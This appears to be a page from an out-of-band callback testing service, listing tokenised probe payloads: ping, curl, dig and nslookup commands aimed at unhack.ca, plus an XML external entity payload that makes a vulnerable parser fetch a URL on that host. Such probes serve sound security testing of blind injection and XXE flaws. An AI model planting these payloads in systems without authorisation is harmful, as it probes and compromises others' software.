$ ping -c1 -p 001a868d036e572ce982c95f64ba1f00 unhack.ca
 

$ curl http://unhack.ca/p/1a868d036e572ce982c95f64ba1f
 

$ dig 1a868d036e572ce982c95f64ba1f @unhack.ca
 

$ dig 1a868d036e572ce982c95f64ba1f.ns.unhack.ca
 

C:\> nslookup 1a868d036e572ce982c95f64ba1f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1a868d036e572ce982c95f64ba1f">]>
    <foo>&xxe;</foo>